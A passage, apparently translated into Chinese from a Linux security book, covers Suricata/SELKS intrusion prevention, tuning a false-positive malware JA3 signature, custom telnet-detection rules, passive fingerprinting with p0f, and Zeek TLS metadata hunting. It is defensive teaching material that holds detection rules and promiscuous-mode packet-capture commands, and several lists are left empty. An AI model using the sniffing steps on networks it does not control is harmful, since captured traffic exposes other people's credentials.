正如我们之前讨论的,传统的 IPS 故事始于 20 世纪 90 年代,当Martin Roesch编写了 Snort。当 Sourcefire 成立时,Snort 成为了一种商业产品,但即使在 Cisco 收购 Sourcefire 之后,Snort 仍然有一个可以安装在任何 Linux 平台上的开源版本。

由于 Snort 如此普遍,它既直接在 Sourcefire 产品中使用,也被许多(许多)下一代防火墙NGFW)产品许可使用。在 Cisco 收购之后,这种情况发生了变化;没有商业防火墙希望在其平台上使用来自竞争公司的 IPS。

撇开营销不谈,“传统”的 Snort(2.x)版本存在一些缺陷:

  • 它完全基于文本,没有 GUI。然而,Snort 有几个 Web 前端项目可用。

  • 消息通常是神秘的-通常,您需要是安全专家才能完全理解 Snort 消息。

  • 它是单线程的。随着网络带宽上行从数百 Mbps 到 Gbps,然后到 10、40 和 100 Gbps,这产生了巨大影响。无论 CPU、内存和磁盘的组合如何,Snort 都无法在这些容量上跟上。

然而,Snort 的方法,特别是 Snort 签名规则集,是非常宝贵的,几乎所有 IPS 解决方案都可以使用 Snort 签名。

这些因素的组合推动了行业向替代方案发展。在许多情况下,这就是 Suricata,这是一个在 2009 年发布的 IPS,自那以后一直在改进。Suricata 很有吸引力,因为从一开始它就是多线程的,因此更多的 CPU 核心有效地转化为更多可用的 CPU。这使得它比 Snort 更具可扩展性。Suricata 直接使用 Snort 规则而不进行修改,因此在创建签名和行业专业知识方面的多年工作仍然完整。

Suricata 还有许多其他安全产品的插件和集成,包括 Splunk、Logstash 和 Kibana/Elasticsearch。Suricata 可以直接集成到许多流行的防火墙中,如 pfSense 或 Untangle。

最后,许多发行版将 Suricata 与基础 Linux 操作系统、合理的 Web 界面和后端数据库捆绑在一起-如果您的硬件和网络已经准备就绪,您可以在几小时内安装 Suricata 并拥有一个可用的系统。

Snort 团队自那时发布了他们的 IPS 的 3.0 版本(2021 年 1 月);然而,它仍然没有 GUI(除非您购买商业版本作为 Cisco Firepower 安装的一部分)。Snort 仍然是一个优秀的产品和行业最受欢迎的产品,但现在他们必须赶上 Suricata 解决方案。

足够的背景和理论-让我们构建和使用一个实际的 IPS!

Suricata IPS 示例

在这个例子中,我们将使用 Stamus Networks 的 SELKS(www.stamus-networks.com/selks)。 SELKS名称反映了它的主要组件:Suricata,Elasticsearch,Logstash,Kibana 和 Stamus Scirius 社区版。这是在 Debian Linux 上打包的,所以如果您一直在阅读本书,这些东西应该看起来很熟悉,因为 Ubuntu 根源于 Debian“父”发行版。

SELKS 有一个live选项和一个install选项。live选项从 ISO 映像运行整个解决方案。这对于小型实验室或快速评估工具非常方便,您可以选择在本章中采用这种方式。然而,在生产中,您将希望使用安装在真实磁盘上的图像(最好是 SSD 或其他快速存储选项)。

SELKS 的安装指南位于这里:github.com/StamusNetworks/SELKS/wiki/First-time-setup。由于这些内容经常更改,我们在本章中不会进行实际安装(如果我们这样做,它将在几个月内过时)。

对于大多数 IPS 解决方案来说,拥有两个网卡是一个要求。第一个网卡用于实际的 IPS 功能,需要混杂模式并进行数据包捕获-完成后,此适配器不应该有 IP。另一个网卡用于管理平台-通常,解决方案的 Web UI 在此网卡上。

在运行 Suricata 时,请确保它处于捕获数据包的位置,可以是 SPAN 端口、TAP 或启用了混杂模式的 hypervisor vSwitch。

在开始使用系统之前,最好定义一下定义您的环境的各种主机和子网。所有这些信息都在/etc/suricata/suricata.yaml中。

以下是需要设置的关键变量:

在许多环境中,这些默认设置都可以保持不变,但正如前面所述,定义各种服务器变量可以帮助优化规则处理。例如,如果您可以缩小范围,使得在域控制器或 SQL 服务器上不进行 HTTP 检查,这可以帮助降低处理不必要检查的 CPU 需求。

MODBUS 协议通常在 SCADA 系统中使用,并且通常在制造业或公共事业中很常见,通常是非常严格定义的。通常,这些服务器和客户端被隔离到它们自己的子网中。

此外,定义组织内部的各种 DNS 服务器也是有帮助的。

在这个文件中有许多其他选项,它们控制着 Suricata 及其相关产品的操作方式,但是为了演示 IPS(甚至在许多生产环境中),您不需要修改它们。不过,我建议您查看一下这个文件;它有很好的注释,这样您就可以看到每个变量的作用。

在一段正常活动的时间之后,可能在几分钟内,您将开始在 SELKS 的警报的 Web 界面 EveBox 中看到活动:

图 13.8 – Suricata 中的基本警报(EveBox 事件仪表板)

图 13.8 – Suricata 中的基本警报(EveBox 事件仪表板)

让我们来看一下伪装的 Firefox 字体更新警报:

图 13.9 – 规则详细信息(1)– 基本信息和地理 IP 信息

图 13.9 – 规则详细信息(1)– 基本信息和地理 IP 信息

在这个显示中特别重要的是源 IP 和目标 IP – 如果这是出站流量,可能表明有受感染的主机。然而,在我们的情况中更重要的是签名 ID(通常缩写为SID),它唯一标识这个攻击签名。我们稍后会回到这个值。

在下面是远程地址的地理 IP 信息。这并不总是 100%准确,但如果您所在的企业关注间谍活动(企业或国家级),这些位置信息可能很重要。如果 IP 是本地的,您可能需要收集证据以供执法机构使用,特别是如果您怀疑攻击来自“内部人员”。

向下滚动一点;因为这次攻击是通过 HTTPS 进行的,我们将看到涉及的 TLS 信息:

图 13.10 – 规则详细信息(2)– TLS 和指纹信息以及有效载荷显示

图 13.10 – 规则详细信息(2)– TLS 和指纹信息以及有效载荷显示

在这里,我们可以看到self.events.data.microsoft.com,并且证书是由有效的 Microsoft Azure CA 颁发的。这些组合告诉我们,虽然使用伪装的字体更新的攻击是一个真正的问题,但这个签名一遍又一遍地被触发,是虚假的阳性。

仅供参考,再往下看一节,我们将看到有效载荷部分。左侧显示数据包中的字符串值,右侧显示数据包的十六进制表示。有趣的是PCAP按钮,让我们点击一下:

图 13.11 – 从事件显示中调用的数据包捕获

图 13.11 – 从事件显示中调用的数据包捕获

如预期的那样,点击server_name/SNI部分。

回到警报页面,继续向下滚动,我们将看到规则的 JSON 表示。回到规则名称,记住它是如何引用单词JA3的吗?JA签名是加密流量初始握手数据包中交换的各种值的哈希。使用JA值,我们可以识别源和目标应用程序,通常还可以识别服务器名称(在这种情况下,使用JA3签名是由 Salesforce 的John AlthouseJeff AtkinsonJosh Atkins(因此称为 JA3)开创的。有关此方法的更多信息可以在本章末尾找到。HASSH 框架对 SSH 流量执行类似的功能。

查看 JSON 规则显示中的JA3部分,我们可以看到有关触发 IPS 警报的网络事件的详细信息:

图 13.12 - 触发 IPS 警报的网络事件的 JSON 详细信息

图 13.12 - 触发 IPS 警报的网络事件的 JSON 详细信息

请注意,此 JSON 显示是“我们正在寻找的”和“我们看到的”混合体。您必须查看规则本身才能看到是什么触发了规则(尽管在这种情况下,它是 JA3 哈希)。

现在我们已经探索完这个警报并认为它是误报,我们有两种可能的行动方案:

  • 我们可以禁用此警报。很可能,您会发现自己在新的 IPS 上经常这样做,直到事情平稳下来

  • 您可以编辑警报,也许使其按预期触发,但不适用于以Microsoft.com结尾的 SNI。请注意,我们说的是以...结尾,而不是包含。攻击者通常会寻找定义错误 - 例如,foo.microsoft.com.maliciousdomain.com SNI 将符合包含 microsofot.com,而实际的self.events.data.microsoft.com只会符合以...结尾。如果您还记得我们在第十一章中的正则表达式讨论,以Microsoft.com结尾将看起来像*.microsoft.com$(一个或多个字符,后跟Microsoft.com,紧接着字符串的结尾)。

在这种情况下,我们将禁用警报。从命令行,编辑/etc/suricata/disable.conf文件并将 SID 添加到此文件。通常会添加注释,以便您可以跟踪删除各种签名的原因,何时以及由谁删除:

$ cat /etc/suricata/disable.conf
2028371    # firefox font attack false positive - disabled 7/5/2021 robv

要添加被忽略的规则,只需将 SID 添加到/etc/suricata/enable.conf文件中。

最后,再次运行suricata_update以更新 IPS 的运行配置。您将看到disable.conf文件已被处理:

$ sudo  suricata-update | grep disa
5/7/2021 -- 09:38:47 - <Info> -- Loading /etc/suricata/disable.conf

编辑 SID 的第二个选择是使其不会在特定 SNI 上触发更有意义,但你不能直接编辑 SID;下一个更新将简单地覆盖您的更新。要编辑 SID,请将其复制为“自定义”或“本地”范围内的 SID,然后进行编辑。将新的 SID 添加到enable.conf文件中。

回到我们的主要 EveBox 显示,打开任何事件并进行探索。您可以单击任何链接的值并获取有关其更多信息。例如,如果您怀疑内部主机已被入侵,您可以单击任何显示中该主机的 IP,并获取有关与该主机之间的所有流量的详细信息:

图 13.13 - EveBox 显示由一个目标主机触发的所有事件

图 13.13 - EveBox 显示由一个目标主机触发的所有事件

请注意顶部的搜索字段 - 随着您对界面的熟悉程度越来越高,您可以根据需要手动输入这些内容。在这种情况下,我们可以看到一堆“无意义”的 DNS 请求(显示中的第 4、5 和 6 行,以及第 8、9 和 10 行)。这种无意义的查询经常出现在使用快速通道 DNS的攻击中,其中 C2 服务器的 DNS 名称一天内会多次更改。通常,客户端根据日期和时间计算 DNS 名称,或者定期检索它们。不幸的是,我们在广告世界的朋友们使用了许多与我们的恶意软件朋友们相同的技术,因此情况并不像以前那样清晰。

更改显示(单击用户 ID 旁边的右上角图标)可让您导航到Hunting显示。

在这个显示中,您将看到相同的警报,但是总结而不是按时间戳依次列出。这让您可以寻找最频繁的警报,或者寻找异常值 - 可能指示更不寻常情况的最不频繁的警报。

让我们再次查看我们的 Firefox 字体警报 - 打开该行以获取更多详细信息。特别是,您将看到一个时间轴显示:

图 13.14 – 搜索显示,主仪表板

图 13.14 – 搜索显示,主仪表板

请注意,这为我们提供了实际触发的规则:

alert tls $HOME_NET any -> $EXTERNAL_NET any (msg:"ET JA3 Hash - Possible Malware - Fake Firefox Font Update"; ja3_hash; content:"a0e9f5d64349fb13191bc781f81f42e1"; metadata: former_category JA3; reference:url,github.com/trisulnsm/trisul-scripts/raw/master/lua/frontend_scripts/reassembly/ja3/prints/ja3fingerprint.json; reference:url,www.malware-traffic-analysis.net; classtype:unknown; sid:2028371; rev:2; metadata:created_at 2019_09_10, updated_at 2019_10_29;)

基本上,这是“与此 JA3 哈希匹配的出站流量”。在ja3er.com上查找此哈希值,我们将发现这是来自以下用户代理的基本 Windows 10 TLS 协商:

  • Excel/16.0(计数:375,最后查看:2021-02-26 07:26:44)

  • WebexTeams(计数:38,最后查看:2021-06-30 16:17:14)

  • Mozilla/5.0(Windows NT 6.1; WOW64; rv:40.0)Gecko/20100101 Firefox/40.1(计数:31,最后查看:2020-06-04 09:58:02)

这再次强调了这个签名的价值有限;我们最好是简单地禁用它。正如我们之前讨论的,您可能决定将其编辑为不同的规则,但在这种特殊情况下,您将永远在尝试获取正确的 SNI 字符串或 CA 的正确组合时进行捉迷藏。

另一个值得探索的显示是管理显示:

图 13.15 – 管理视图,所有警报

图 13.15 – 管理视图,所有警报

这以另一种格式显示相同的数据。点击相同的 Firefox 字体警报(2028371),我们将更全面地了解这个警报背后的活动:

图 13.16 – 示例 Firefox 字体警报的管理视图

图 13.16 – 示例 Firefox 字体警报的管理视图

请注意,在左侧列中,我们现在可以看到禁用规则启用规则的选择。由于 IPS 界面主要在 UI 中,这更有可能成为您的主要规则管理方法,至少在禁用和启用规则方面是如此:

图 13.17 – 从 Web UI 禁用 Suricata 规则

图 13.17 – 从 Web UI 禁用 Suricata 规则

正如之前提到的,IPS 功能是一个因人而异的领域。如果您在家庭网络上部署,不同的门铃、恒温器或游戏平台将极大地影响您的流量组合以及 IPS 将发现的结果。在企业环境中,情况更加戏剧性。

最好的建议是学习一些基础知识,其中我们在这里涵盖了一些,并探索您的 IPS 告诉您有关网络上发生的情况。您会发现一些要删除或修改的签名,您希望保留但从显示中抑制的消息,以及各种优先级的真实安全警报。

在这个平台上,您还会看到 Suricata 的严重级别可能与您的不匹配。我们探讨的规则就是一个很好的例子 - Suricata 将其标记为高优先级,但经过一些调查,我们将其归类为误报并将其禁用。

我们已经多次提到规则。因此,让我们深入了解规则是如何构建的,然后从头开始构建一个规则。

构建 IPS 规则

我们已经多次提到 IPS 签名,特别是 Snort 规则 - 让我们看看它们是如何构建的。让我们看一个示例规则,它会警报我们包含.cloud文本的可疑 DNS 请求:

alert dns $HOME_NET any -> any (msg:"ET INFO Observed DNS Query to .cloud TLD"; dns.query; content:".cloud"; nocase; endswith; reference:url,www.spamhaus.org/statistics/tlds/; classtype:bad-unknown; sid:2027865; rev:4; metadata:affected_product Any, attack_target Client_Endpoint, created_at 2019_08_13, deployment Perimeter, former_category INFO, signature_severity Major, updated_at 2020_09_17;)

规则分为几个部分。从规则的开头开始,我们有我们的规则头

部分不显示 - Suricata 通常只检测 TCP 数据的流。

接下来是规则的消息部分:

检测部分概述了规则正在寻找的内容以及将触发警报的流量:

参考部分通常包含 URL、CVE 编号或供应商安全公告:

签名 ID部分包含 SID 值和修订号:

元数据部分包括以下内容:

其中许多是可选的,在某些情况下,部分的顺序可以改变。有关 Suricata 规则格式的完整说明,产品文档是一个很好的起点:suricata.readthedocs.io/en/suricata-6.0.3/rules/intro.html

由于 Suricata 规则基本上与 Snort 规则相同,因此您可能会发现 Snort 文档也很有用。

如果您为您的组织添加自定义规则,则本地规则的 SID 范围为1000000-1999999

按照惯例,本地规则通常放在一个名为local.rules的文件中,或者至少放在反映此自定义状态的规则文件中。此外,规则消息通常以单词LOCAL、您的组织名称或其他使其明显是内部开发规则的指示符开头。填充规则元数据也被认为是一个良好的做法 - 添加规则的作者、日期和版本号可能非常有帮助。

例如,让我们创建一组规则,用于检测 telnet 流量 - 入站和出站。您可能已经添加了此规则,以解决组织中一群坚持部署启用 telnet 的敏感系统的管理员。使用 telnet 登录,然后运行或管理应用程序,是一种危险的方法,因为所有凭据和所有应用程序数据都以明文形式通过网络传输。

让我们将其分为两条规则:

alert tcp any -> $HOME_NET [23,2323,3323,4323] (msg:"LOCAL TELNET SUSPICIOUS CLEAR TEXT PROTOCOL"; flow:to_server; classtype:suspicious-login; sid:1000100; rev:1;)
alert tcp $HOME_NET any -> any [23,2323,3323,4323] (msg:"LOCAL TELNET SUSPICIOUS CLEAR TEXT PROTOCOL"; flow:to_server; classtype:suspicious-login; sid:1000101; rev:1;)

请注意,协议是 TCP,并且目标端口包括23/tcp,以及许多其他常见端口,人们可能会将 telnet 放入其中以“隐藏”它。

这些规则的文本被放入/etc/suricata/rules/local.rules(或者您想要存储本地规则的任何其他位置)。

更新/etc/suricata/suricata.yaml以反映这一点:

default-rule-path: /var/lib/suricata/rules
rule-files:
  - suricata.rules
  - local.rules

现在,要重新编译规则列表,请运行sudo selks-update。您可能还需要运行sudo suricata-update –local /etc/suricata/rules/local.rules

更新后,您可以通过列出最终规则集并过滤您的 SID 来验证您的规则是否已就位:

$ cat /var/lib/suricata/rules/suricata.rules | grep 100010
alert tcp any -> $HOME_NET [23,2323,3323,4323] (msg:"LOCAL TELNET SUSPICIOUS CLEAR TEXT PROTOCOL"; flow:to_server; classtype:suspicious-login; sid:1000100; rev:1;)
alert tcp $HOME_NET any -> any [23,2323,3323,4323] (msg:"LOCAL TELNET SUSPICIOUS CLEAR TEXT PROTOCOL"; flow:to_server; classtype:suspicious-login; sid:1000101; rev:1;)

现在,要重新加载规则集,请执行以下操作之一:

  • 通过执行sudo kill -USR2 $(pidof suricata)重新加载 Suricata。这不建议,因为它会重新加载整个应用程序。

  • 使用suricatasc -c reload-rules重新加载规则。这是一个阻塞式的重新加载;Suricata 在重新加载期间仍然处于离线状态。如果您的 IPS 与流量处于一条线上,这是不建议的。

  • 使用suricatasc -c ruleset-reload-nonblocking重新加载规则。这会在不阻止流量的情况下重新加载规则集,对于内联部署是“友好”的。

当触发时,此警报是什么样子?EveBox 中此规则的警报如下:

图 13.18 - 触发的自定义 IPS 规则生成的警报

图 13.18 - 触发的自定义 IPS 规则生成的警报

在这里,我们可以看到警报中的一个是从内部到内部主机,而另一个是从内部到互联网的。第一个规则触发了两次 - 回顾一下规则定义;你能看出为什么吗?这表明,触发任何自定义规则并优化它们,使每个条件只触发一次警报或阻止,并且它们触发所有您能想到的条件和变化是很有意义的。

让我们扩展第一个(请注意 SID):

图 13.19 - 警报 1 的事件详细信息

图 13.19 - 警报 1 的事件详细信息

现在,让我们扩展第二个 - 请注意,这是相同的事件,但它以不同的 SID 触发了第二次:

图 13.20 - 警报 2 的事件详细信息

图 13.20 - 警报 2 的事件详细信息

然后,扩展最后一个(再次,请注意 SID):

图 13.21 - 警报 3 的事件详细信息

图 13.21 - 警报 3 的事件详细信息

请注意,我们有这两个的完整数据包捕获 - 对这些要非常小心,因为您将在浏览这些 PCAP 文件时看到有效的凭据。

既然我们已经了解了网络 IPS 的工作原理,让我们看看通过被动监控数据包在网络中传递时我们能找到什么。

被动流量监控

另一种增强 IPS 解决方案的方法是使用被动漏洞扫描器PVS)。与寻找攻击流量不同,PVS 解决方案收集数据包并寻找可能有助于识别正在使用的操作系统或应用程序的流量或握手数据(例如 JA3、SSH 指纹或任何可以以明文收集的数据)。您可以使用此方法来识别可能使用其他方法不会出现的问题应用程序,甚至使用其他清点方法可能会错过的主机。

例如,PVS 解决方案可能会识别过时的浏览器或 SSH 客户端。Windows 上的 SSH 客户端通常过时,因为许多更常见的客户端(如 PuTTY)没有自动更新功能。

PVS 解决方案也是发现可能没有被清点的主机的好工具。如果它连接到互联网甚至其他内部主机,PVS 工具可以仅从“流浪”数据包中收集令人惊讶的数据。

P0F 是更常见的开源 PVS 解决方案之一。在商业上,Teneble 的 PVS 服务器通常被部署。

使用 P0F 进行被动监控 - 示例

要运行 P0f,请将要使用的以太网接口设置为混杂模式。这意味着接口将读取和处理所有数据包,而不仅仅是目标为我们正在处理的主机的数据包。这是一个常见的模式,大多数依赖数据包捕获的实用程序会自动设置,但 P0F 仍然足够“老派”,需要手动设置。然后,运行该工具:

$ sudo ifconfig eth0 promisc
$ sudo p0f –i eth0
.-[ 192.168.122.121/63049 -> 52.96.88.162/443 (syn) ]-
|
| client   = 192.168.122.121/63049
| os       = Mac OS X
| dist     = 0
| params   = generic fuzzy
| raw_sig  = 4:64+0:0:1250:65535,6:mss,nop,ws,nop,nop,ts,sok,eol+1:df:0
|
`----
.-[ 192.168.122.160/34308 -> 54.163.193.110/443 (syn) ]-
|
| client   = 192.168.122.160/34308
| os       = Linux 3.1-3.10
| dist     = 1
| params   = none
| raw_sig  = 4:63+1:0:1250:mss*10,4:mss,sok,ts,nop,ws:df,id+:0
|
`----

更有用的是,您可以将p0f输出重定向到文件,然后处理文件的内容。请注意,我们需要 root 权限来捕获数据包:

$ sudo p0f -i eth0 -o pvsout.txt

接下来,我们可以收集在各个主机上收集的数据,使用grep来过滤只有p0f能够识别操作系统的主机。请注意,由于我们以 root 身份创建了pvsout.txt,我们将需要 root 权限来读取该文件:

$ sudo cat pvsout.txt | grep os= | grep -v ???
[2021/07/06 12:00:30] mod=syn|cli=192.168.122.179/43590|srv=34.202.50.154/443|subj=cli|os=Linux 3.1-3.10|dist=0|params=none|raw_sig=4:64+0:0:1250:mss*10,6:mss,sok,ts,nop,ws:df,id+:0
[2021/07/06 12:00:39] mod=syn|cli=192.168.122.140/58178|srv=23.76.198.83/443|subj=cli |os=Mac OS X|dist=0|params=generic fuzzy|raw_sig=4:64+0:0:1250:65535,6:mss,nop,ws,nop,nop,ts,sok,eol+1:df:0
[2021/07/06 12:00:47] mod=syn|cli=192.168.122.179/54213|srv=3.229.211.69/443|subj=cli |os=Linux 3.1-3.10|dist=0|params=none|raw_sig=4:64+0:0:1250:mss*10,6:mss,sok,ts,nop,ws:df,id+:0
[2021/07/06 12:01:10] mod=syn|cli=192.168.122.160/41936|srv=34.230.112.184/443|subj=cli|os=Linux 3.1-3.10|dist=1|params=none|raw_sig=4:63+1:0:1250:mss*10,4:mss,sok,ts,nop,ws:df,id+:0
[2021/07/06 12:01:10] mod=syn|cli=192.168.122.181/61880|srv=13.33.160.44/443|subj=cli |os=Windows NT kernel|dist=0|params=generic|raw_sig=4:128+0:0:1460:mss*44,8:mss,nop,ws,nop,nop,sok:df,id+:0

我们可以解析这个快速清单清单:

$ sudo cat pvsout.txt | grep os= | grep -v ??? | sed -e s#/#\|#g | cut -d "|" -f 4,9 | sort | uniq
cli=192.168.122.113|os=Linux 2.2.x-3.x
cli=192.168.122.121|os=Mac OS X
cli=192.168.122.129|os=Linux 2.2.x-3.x
cli=192.168.122.140|os=Mac OS X
cli=192.168.122.149|os=Linux 3.1-3.10
cli=192.168.122.151|os=Mac OS X
cli=192.168.122.160|os=Linux 2.2.x-3.x
cli=192.168.122.160|os=Linux 3.1-3.10
cli=192.168.122.179|os=Linux 3.1-3.10
cli=192.168.122.181|os=Windows 7 or 8
cli=192.168.122.181|os=Windows NT kernel
cli=192.168.122.181|os=Windows NT kernel 5.x

请注意,我们必须使用sed来删除每个主机的源端口,以便uniq命令能够工作。还要注意,主机192.168.122.181注册为三个不同的 Windows 版本 - 这个主机值得一看!

更令人担忧的是192.168.122.113129160上的主机,它们似乎在运行较旧的 Linux 内核。事实证明以下是真的:

  • 192.168.122.160 是一个门铃摄像头 - 它启用了自动更新,所以它是一个较旧的内核,但是尽可能新。

  • 192.168.122.129 是运营商的 PVR/电视控制器。这与之前的情况相同。

  • 192.168.122.113是一个 Ubuntu 20.04.2 主机,所以这是一个误报。连接到该主机后,uname -r告诉我们正在运行内核版本 5.8.0.55。

现在我们已经安装了基本的 IPS 服务和 PVSes,所以让我们扩展一下,并添加一些元数据,使我们的 IPS 信息更有意义。我所说的“元数据”是什么?继续阅读,我们将描述这些数据,以及 Zeek 如何用于收集它。

Zeek 示例 - 收集网络元数据

Zeek(以前称为 Bro)实际上并不是 IPS,但它可以作为 IPS 的一个很好的附属服务器,用于日志记录平台以及网络管理。随着我们在本节中的进展,您将明白这是为什么。

首先,有几种安装选项:

默认情况下,安全 Onion 安装时会与 Zeek 一起安装 Suricata,因此在较小的环境中,这是有道理的 - 同样,在同一主机上拥有这两个应用程序的信息也很方便。

记得我们说过 Zeek 是一个“元数据”收集器吗?一旦我们在实时网络上运行安全 Onion 几分钟,就会明白我的意思。为了种植一些“有趣”的数据,我启动了浏览器并导航到badssl.com。从那里,我测试了各种 SSL 错误条件:

图 13.22 - 使用 BADSSL.com 测试 SSL 错误检测

图 13.22 - 使用 BADSSL.com 测试 SSL 错误检测

Bro 中显示了什么?从 Security Onion 主界面中,选择 Kibana,然后选择443中的 SSL 协议:

图 13.23 - 仅显示 SSL 数据

图 13.23 - 仅显示 SSL 数据

请注意,每个页面都可以独立翻页,并且原始日志立即显示在这些窗格下方。

443中滚动,您将看到一些选项:

图 13.24 - 过滤出 443/tcp 端口

图 13.24 - 过滤出 443/tcp 端口

您可以单击+仅过滤该值,或单击-从报告中删除此值。让我们将其删除,然后向下滚动到日志窗格。单击日志中的任何事件的>图标以展开该特定会话的详细信息:

图 13.25 - 展开事件以显示完整元数据

图 13.25 - 展开事件以显示完整元数据

向下滚动,您将看到地理位置数据(对于这个 IP 在地球上的确切位置的良好估计),以及此特定会话的 SSL 证书详细信息:

图 13.26 - 向下滚动,仅显示 SSL/TLS 证书元数据

图 13.26 - 向下滚动,仅显示 SSL/TLS 证书元数据

在屏幕顶部,单击ssl以查看其中的内容:

图 13.27 - SSL 仪表板

图 13.27 - SSL 仪表板

选择Security Onion - SSL;我们将看到以下输出:

图 13.28 - 安全 Onion - SSL 仪表板

图 13.28 - 安全 Onion - SSL 仪表板

请注意,在页面中间,我们将看到实际的服务器名称。这些大部分都是从每次交互中涉及的 SSL 证书中收集的(尽管在其他仪表板中使用了反向 DNS)。让我们看看验证状态窗格 - 请注意我们有一些状态描述:

单击证书已过期,然后选择+以深入到只有该数据:

图 13.29 - 缩小搜索范围 - 仅过期的 SSL 证书

图 13.29 - 缩小搜索范围 - 仅过期的 SSL 证书

这使我们得到了涉及的确切交易,以及涉及人员的 IP!

请注意,当我们导航和深入时,您会看到许多屏幕上显示了搜索词字段,该字段显示了对 Elasticsearch 的原始查询。您可以随时手动添加它们,但使用 UI 可以在这方面提供很大的帮助。

让我们探索Kibana | Discover Analytics页面。一开始,我们将看到各种新信息:

图 13.30 - 流量的发现视图

图 13.30 - 流量的发现视图

ssl中缩小搜索范围。您会看到它在您输入时给出匹配的搜索结果。

接下来,单击ssl.versionssl.certificate.issuer,然后按更新

图 13.31 - 显示所选的 SSL/TLS 信息

图 13.31 - 显示所选的 SSL/TLS 信息

接下来,在字段区域中,输入source并将source.ip添加到我们的报告中:

图 13.32 - 通过添加更多信息构建我们的查询

图 13.32 - 通过添加更多信息构建我们的查询

您可以快速看到我们如何将显示范围缩小到我们想要的内容。

或者,我们可以按地理位置进行过滤。构建一个显示 TLS 版本、源 IP、目的 IP、国家和城市的列表:

图 13.34 - 移除“US”目的地

图 13.33 - 将地理查找信息添加到查询中

现在,突出显示Country列中的US条目,并选择-以过滤掉美国目的地:

图 13.34 - 移除“US”目的地

这给我们提供了一个更有趣的列表:

图 13.35 - 最终查询

图 13.35 - 最终查询

深入挖掘和处理数据可以迅速轻松地为您提供诸如“TLSv1.0 或更低版本,目的地在中国、俄罗斯或朝鲜”的显示。

甚至过滤 TLS 版本也可以迅速将您带到“未知”TLS 版本的候选名单。请注意,随时可以展开任何行以获取该会话的完整元数据:

图 13.36 - 仅未知的 TLS 版本

图 13.36 - 仅未知的 TLS 版本

让我们探索第一行中的目的地 IP:

图 13.37 - 可疑 IP 的详细信息

图 13.37 - 可疑 IP 的详细信息

还有谁使用 SSL 连接到该问题主机?在真实的安全事件中,您可以使用这种方法来回答重要的问题,比如“我们知道客户端 X 受到了影响;还有谁有类似的流量,以便我们可以看到这个问题是否更加普遍?”

图 13.38 - 具有相同可疑流量的其他内部主机

图 13.38 - 具有相同可疑流量的其他内部主机

在这里,您可以看到诸如 SSL 版本、SSL 证书颁发者和目的地 IP 的国家代码等元数据如何可以快速为您提供一些有趣的信息。想象一下,有了成千上万个可用的搜索词,您可以挖掘得更深!

如果您正在探索流量以解决问题或正在处理安全事件,您可以看到收集流量元数据如何在获取有用信息方面非常有效 - 不仅关于已识别的主机和会话,还有关于可能受到影响的类似主机和会话的信息!

这只是冰山一角。您不仅可以深入研究 SSL/TLS 流量,还可以探索数百种其他协议!

总结

在本章中,我们讨论了几种检测和防止入侵事件的方法。我们首先讨论了这些各种技术在我们的架构中最适合的位置,然后进入了具体的解决方案。我们讨论了经典的基于网络的 IPS 解决方案,即 Snort 和 Suricata。我们还简要涉及了特定于 Web 的 IPS,特别是 WAF 和 RASP 解决方案。

在我们的示例中,我们介绍了 IPS(Suricata)如何被用来查找和防止安全问题,甚至创建自定义规则来检测或防止 telnet 会话。使用 P0f 来 passively 收集流量进行硬件和软件清单,以及安全问题的示例也得到了说明。最后,我们使用 Zeek 来获取我们收集的数据,并收集和计算元数据,使数据更有意义。特别是 Zeek 非常有用,可以深入研究网络流量,以找到可能指示安全事件或操作问题的异常情况。

在下一章中,我们将进一步扩展这种方法,从更被动的收集模型转向使用“蜜罐”方法,利用基于网络的“欺骗”来高度准确地找到恶意主机。

问题

最后,这里有一些问题供您测试对本章材料的了解。您将在附录评估部分找到答案:

  1. 如果我怀疑发生了数据外泄事件,并且使用了“未知”的 TLS 版本到特定国家,我应该使用哪个工具来查找受影响的内部主机?

  2. 如果您知道您有大量使用 PuTTY SSH 客户端的 Windows 客户端机器,您如何进行清点而不搜索每台机器的本地存储?

  3. 为什么您决定将 IPS 放在内部网络或实际防火墙上?

进一步阅读

在本章涵盖的主题上了解更多信息,您可以参考以下链接:

engineering.salesforce.com/tls-fingerprinting-with-ja3-and-ja3s-247362855967

第十四章:Linux 上的蜜罐服务

在本章中,我们将讨论蜜罐 - 您可以部署以收集攻击者活动的虚假服务,其误报率几乎为零。我们将讨论各种架构和放置选项,以及部署蜜罐的风险。还将讨论几种不同的蜜罐架构。本章应该让您开始实施各种网络上的“欺骗”方法,以分散和延迟攻击者,并提供几乎没有误报的攻击者活动的高保真日志。

在本章中,我们将讨论以下主题:

  • 蜜罐概述 - 什么是蜜罐,我为什么要一个?

  • 部署方案和架构 - 我应该把蜜罐放在哪里?

  • 部署蜜罐的风险

  • 示例蜜罐

  • 分布/社区蜜罐 - 互联网风暴中心的 DShield 蜜罐项目

技术要求

本章讨论的所有蜜罐选项都可以直接部署在本书中一直使用的示例 Linux 主机上,或者在该主机 VM 的副本上。来自互联网风暴中心的最终示例蜜罐可能是您选择放在不同的专用主机上的蜜罐。特别是,如果您计划将此服务放在互联网上,我建议您选择一个可以随时删除的专用主机。

蜜罐概述 - 什么是蜜罐,我为什么要一个?

蜜罐服务器本质上是一个假服务器 - 一种呈现为真实服务器的东西,但除了记录和警报任何连接活动之外,没有任何数据或功能。

为什么您想要这样的东西?还记得[第十三章](B16336_13_Final_NM_ePub.xhtml#_idTextAnchor236)中的Linux 上的入侵防范系统,当我们处理误报警报时吗?这些警报报告了一次攻击,但实际上是由正常活动触发的。嗯,蜜罐通常只发送您可以称之为“高保真”警报。如果蜜罐触发了,要么是因为真正的攻击者行为,要么是配置错误。

例如,您可能在服务器的 VLAN 中设置了一个蜜罐 SQL 服务器。该服务器将在端口1433/tcp(SQL)上进行监听,可能还会在端口3389/tcp(远程桌面)上进行监听。由于它不是一个真正的 SQL 服务器,它不应该(绝对不应该)在任何一个端口上看到连接。如果它确实看到了连接,要么是有人在网络上进行了不应该进行的探测,要么是一个有效的攻击。顺便说一句 - 渗透测试几乎总是会很快触发蜜罐,因为它们会扫描各种子网以寻找常见服务。

也就是说,在许多攻击中,您只有很短的时间来隔离和驱逐攻击者,以免造成不可挽回的损害。蜜罐能帮上忙吗?简短的答案是肯定的。蜜罐有几种形式:

这些情景通常适用于内部蜜罐和已经在您网络上的攻击者。在这些情况下,攻击者已经侵入了您网络上的一个或多个主机,并试图向更有价值的主机和服务(以及数据)“攀升”。在这些情况下,您对攻击者的平台有一定程度的控制 - 如果是一个受损的主机,您可以将其脱机并重建,或者如果是攻击者的物理主机(例如在无线网络受损后),您可以将其踢出网络并修复其访问方法。

